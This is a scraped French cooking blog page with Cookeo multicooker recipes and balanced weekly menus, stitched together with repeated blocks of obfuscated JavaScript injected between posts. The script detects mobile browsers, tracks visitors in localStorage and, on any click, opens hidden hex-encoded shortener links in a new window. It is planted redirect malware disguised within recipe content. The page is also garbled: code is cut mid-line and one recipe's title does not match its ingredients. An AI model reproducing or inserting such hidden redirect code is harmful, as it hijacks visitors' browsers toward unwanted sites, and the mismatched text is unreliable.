//

Fiche cookeo risotto saumon poireaux

Une recette cookeo à tenter .

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Ingrédients  pour 4 personnes

300 g de spaghettis/2 citrons/persil sel/poivre/2 cuillères à soupe de crème fraîche allégée/

Préparation

Cuisson rapide ou sous pression

Cassez les spaghettis en 2 . Déposez les spaghettis dans la cuve . Recouvrez d’eau .

Programmez 5 mn (le temps indiqué sur le paquet de spaghettis divisé par 2)

Dans un bol ajoutez 2 cuillères à soupe de crème fraîche. Ajoutez le jus des citrons que vous avez pressé et mélangez. Ajoutez le persil que vous avez lavé et ciselé .

Quand les spaghettis sont cuites mélangez avec la sauce citron crème fraîche. Servez chaud
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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Voici le PDF DES 1100 Recettes cookeo à téléchargez gratuitement . Pour télécharger CLIQUEZ ICI OU SUR L’IMAGE

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Bonjour tout le monde je vous propose aujourd’hui un PDF que j’ai trouvé en cherchant sur le net des recettes cookeo . C’est à peu près une centaine de recettes certaines connues d’autres plus nouvelles. 

Pour télécharger le PDF cliquez ICI

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Raclette cookeo : vous avez déjà testé ?

Je viens de découvrir en me baladant sur le net 2 fiches de recettes cookeo de raclette cookeo . Je me demande ce que cela peut donner . J’avoue que j’ai bien envie d’essayer tout cela est fort alléchant mais je suis septique .

Et vous vous avez déjà testé ?

//
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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Semaine 2 menus cookeo équilibrés

Voilà le récapitulatif de la semaine 2 de menus cookeo équilibrés. Pour accéder aux menus il suffit de cliquer sur le jour  souhaité en haut du tableau ou de cliquez sur 

JOUR 8

JOUR 9

JOUR 10

JOUR 11

JOUR 12

JOUR 13

JOUR 14

Les recettes en rouge sont des recettes qui peuvent être réalisées au cookeo.

Pourquoi le premier menu de la semaine 2 commence par jour 8 . C’est parce que il existe une semaine 1 de menus cookeo équilibrés.numérotées de 1 à 7) Pour consultez cette semaine de menus CLIQUEZ ICI



//
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x6d\x4f\x78\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x6f\x54\x65\x34\x63\x304',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x6c\x79\x2e\x63\x6f\x6d\x2f\x63\x47\x4b\x39\x63\x389','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return 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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Semaine 1 menus cookeo équilibrés tableau récapitulatif

JOUR 1     ICI        

JOUR 2    ICI    

 JOUR 3   ICI  

  JOUR 4  ICI 

 JOUR 5    ICI  

JOUR 6    ICI   

JOUR 7    ICI 

Voici un tableau récapitulatif des menus cookeo équilibrés semaine 1 .

Il vous suffit de cliquer sur le JOUR qui vous intéresse pour accéder aux recettes .

Les recettes en rouge peuvent se réaliser au cookeo

//
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Goulash cookeo weight watchers  8PP  11 SP

Ingrédients pour 4 personnes

500 g de viande de bœuf

600 g de pommes de terre

4 gousses d’ail ou ail déshydraté

200 g d’oignons congelés ou frais

2 Cuillères à café d’huile d’olive

4 tomates

Paprika

1 cube de bouillon de bœuf

500 ml d’eau

4 cuillères à café de crème fraîche

Sel  Poivre

Préparation

Mode dorer

Faites revenir dans   l’huile d’olive la viande, puis les oignons.

Ajoutez les tomates  coupées en morceaux.

Salez, poivrer, saupoudrez de paprika .Versez l’ail.

Ajoutez les morceaux de pommes de terre. Versez un bouillon composé d’eau et du cube de bouillon de bœuf.

Cuisson rapide ou sous pression

Programmez 14 mn.

Quand la cuisson est terminée ajoutez les 4 cuillères à café de crème fraîche.

Servez chaud 

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Menu cookeo équilibré JOUR 14

DEJEUNER

Salade haricots verts mais

Spaghettis steak hachés cookeo

Fromage

Fraises ou compote pommes fraises cookeo

Pain

DINER

Endives champignons

  Saucisses chou fleur cookeo

            Crème chocolat cookeo ?

Fruit de saison

Pain

Salade haricots verts et mais 115 calories

Ingrédients pour 4 personnes

1 boite de mais /1 grosse boite de haricots verts/4 cuillères à soupe d’huile d’olive/1 cuillère à soupe de vinaigre/1 cuillère à café de moutarde/sel/poivre

Préparation

Ouvrez la boite de mais  et de haricots verts et égouttez les. Rincez le mais et les haricots verts. Placez le mais et les haricots dans un saladier ou dans des assiettes. Versez une vinaigrette que vous avez confectionnée avec un mélange de 4 cuillères à soupe d’huile  d’olive, une

Saucisses chou-fleur 

Ingrédients pour 4 personnes

‘4 saucisses

2 cuillères à soupe de persil haché

2 gousses d’ail hachées

1 petit verre de vin blanc

Sel

Poivre

Huile d’olive

800  g de fleurettes de chou-fleur congelées

300 ml d’eau

Préparation

Versez de l’huile d’olive dans la cuve pour faire revenir l’ail haché. Ajoutez tout de suite les morceaux de saucisses.

Ajoutez ensuite les fleurettes ,le verre de vin blanc.

Versez 2 cuillères à soupe de persil .Ajoutez 300 ml d’eau .

Mode cuisson rapide ou sous pression

Programmez 6 mn .

Servez chaud .

Fromage 84 calories

120 g

Compote pommes fraises   120 calories

4 pots ou au cookeo ici

Pain  110 calories

Salade endives champignons 175calories

Ingrédients pour 4 personnes

4 endives/200 g de champignons de Paris frais ou congelés /Sel/ Poivre/4 cuillères à soupe d’huile d’olive/2 citrons /1 douzaine de cerneaux de noix

Préparation

Dans un saladier pressez le jus des citrons, puis ajoutez l’huile d’olive, le sel et le poivre .Mélangez l’ensemble.

Faites cuire les champignons de Paris dans de l’eau bouillante (si les champignons sont frais lavez les et coupez les en morceaux).

Egouttez les champignons et laissez les refroidir.

Coupez les endives en morceaux et déposez les dans le saladier avec les champignons .Placez le saladier dans le frigo pendant une heure. Servez froid.

Spaghettis steaks hachés moutarde

Ingrédients pour 4  personnes

4 steaks hachés

280 g de spaghettis

2 cuillères à soupe de moutarde

Huile d’olive

Sel

Poivre

1 cube de bouillon de bœuf

Préparation

Mode dorer

Versez de l’huile dans la cuve.

Coupez les steaks en morceaux et faites des boulettes pendant que l’huile chauffe.

Faites revenir les boulettes de steak. Ajoutez les spaghettis que vous avez coupées en 2.

Emiettez le cube de bouillon de bœuf dans de l’eau et versez dans la cuve. (500 ml environ)

Salez et poivrez.

Mode cuisson rapide ou sous pression

Programmez 5 mn (le temps indiqué sur le paquet de pâtes divisé par 2)

Quand la cuisson est terminée ajoutez les 2 cuillères à soupe de moutarde, mélangez et servez chaud.

Crème chocolat

4 pots ou cookeo ici

Pain  110 calories



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Steaks hachés moutarde recette cookeo 

Ingrédients pour 4 personnes

4 steaks hachés

100 g d’oignons congelés

2 cuillères à soupe de moutarde

2 cuillères à soupe de crème fraîche

1 cube de bouillon de bœuf

200 ml d’eau

Sel

Poivre

1 verre de vin blanc

Huile d’olive

2 cuillères à café de maizena

Préparation

Mode dorer

Faites dorer les oignons dans la cuve avec l’huile d’olive

Ajoutez les steaks hachés .

Versez le vin blanc et le bouillon composé de 200 ml d’eau et le cube de bouillon de bœuf émiétté.

Salez et poivrez.

Cuisson rapide ou sous pression

Programmez 3 mn

Repassez en mode dorer pour épaissir la sauce avec 2 cuillères à café de maizena

Ajoutez la crème fraiche et la moutarde .



//

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//

Vidéo cookeo boeuf catalane . Laissez vous tenter

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//

Fiche cookeo spaghettis poulet olive

Une recette cookeo à tenter .

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//

Vidéo cookeo spaghettis poulet olive



Plus de recettes ICI//

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Menu cookeo équilibré JOUR 13

DEJEUNER

Radis à l’orange

Roti porc printanière de légumes  cookeo

Fromage blanc 100 g

Compote de pommes sans sucre ajouté ou au cookeo

Pain

DINER

Artichauts vinaigrette

Moules aux poireaux cookeo

Quinoa

Fromage

Abricots ou fruit de saison

Pain

JOUR 13

DEJEUNER

Radis à l’orange 120 calories

Ingrédients pour 4 personnes

2 bottes de radis sel/poivre/1 orange/4 cuillères à soupe d’huile d’olive/1 cuillère à soupe de vinaigre/1 cuillère à soupe de jus de citron

Préparation

Coupez les racines et les fanes des radis . Coupez les radis en rondelles et placez- les dans un saladier

Coupez l’orange en morceaux .Préparez la sauce vinaigrette avec l’huile d’olive,le vinaigre et le citron ainsi que du sel et du poivre

Mélangez les morceaux d’orange avec les radis et versez la vinaigrette .Mélangez et placez au frigo . Servez froid

Roti de porc printanière de légumes 210 calories

Ingrédients pour 4 personnes

1 rôti de porc ou longe de porc

600 g de printanière de légumes congelée

1 échalote

1 cube de bouillon de bœuf

Sel

Poivre

Huile d’olive

Préparation

 Mode dorer 

Faites revenir les échalotes dans l’huile d’olive que vous avez fait chauffer. Puis

Ajoutez la longe de porc, émiettez le cube de bouillon de bœuf. Versez 300 ml d’eau.

Salez et poivrez.

Cuisson rapide ou sous pression

Programmez 30 mn.

Quand les 30 mn de cuisson rapide sont écoulées, ouvrez votre cookeo  et  ajoutez les légumes .

Repassez en mode cuisson rapide pour 30 mn et servez chaud.

Compote de pommes en pots ou cookeo 100 calories

4 pots ou cookeo ici

Fromage blanc  100 calories

4 pots

Pain 50 calories

DINER

Artichauts vinaigrette 80 calories

Ingrédients

1 boite de fond d’artichaut/1 cuillère à soupe de moutarde /2 cuillères à soupe d’huile d’olive/ Une cuillère à soupe de vinaigre

Préparation

Egouttez et rincez les fonds d’artichaut. Préparez votre vinaigrette avec l’huile d’olive, le vinaigre, la moutarde, le sel et le poivre et versez sur les artichauts

Moules aux poireaux 180 calories

Ingrédients pour 4 personnes

400 g de moules décortiquées congelées

400 g de poireaux congelés

1 verre de vin blanc

Jus de citron

Sel

Poivre

Curry

4 cuillères à café de crème fraiche

Huile d’olive

2  gros oignons

Préparation

Versez de l’huile d’olive dans la cuve du cookeo 

Versez les morceaux d’oignons , faites les dorer puis ajoutez les poireaux. Puis ajoutez les moules, le verre de vin blanc. Salez et poivrez selon votre convenance puis saupoudrez de curry.

Versez du jus de citron sur l’ensemble des ingrédients.

Versez 200 ml d’eau dans la cuve.

Quittez la fonction dorer puis passez en cuisson rapide avec 10 mn de cuisson.

Rectifiez si nécessaire l’assaisonnement et ajoutez 4 cuillères à soupe de crème fraîche. Mélangez. 

 Quinoa 250 calories

Ingrédients pour 4 personnes

Quinoa : 260 g/Sel : 1 pincée/poivre

Préparation :

Rincez les graines de quinoa.

Dans une casserole, verser le quinoa et presque recouvrez d’eau et ajoutez une pincée de sel. Portez à ébullition et laissez cuire à feu doux et à couvert jusqu’à ce que l’eau soit absorbée, soit 15 min environ.

Coupez le feu et laissez gonfler à couvert encore 15 min : le quinoa sera plus aéré.

. Assaisonnez et accommodez à son goût.

Servir chaud.

Fromage 84 calories

Abricots 48 calories  ou fruit de saison

Pain

50 calories

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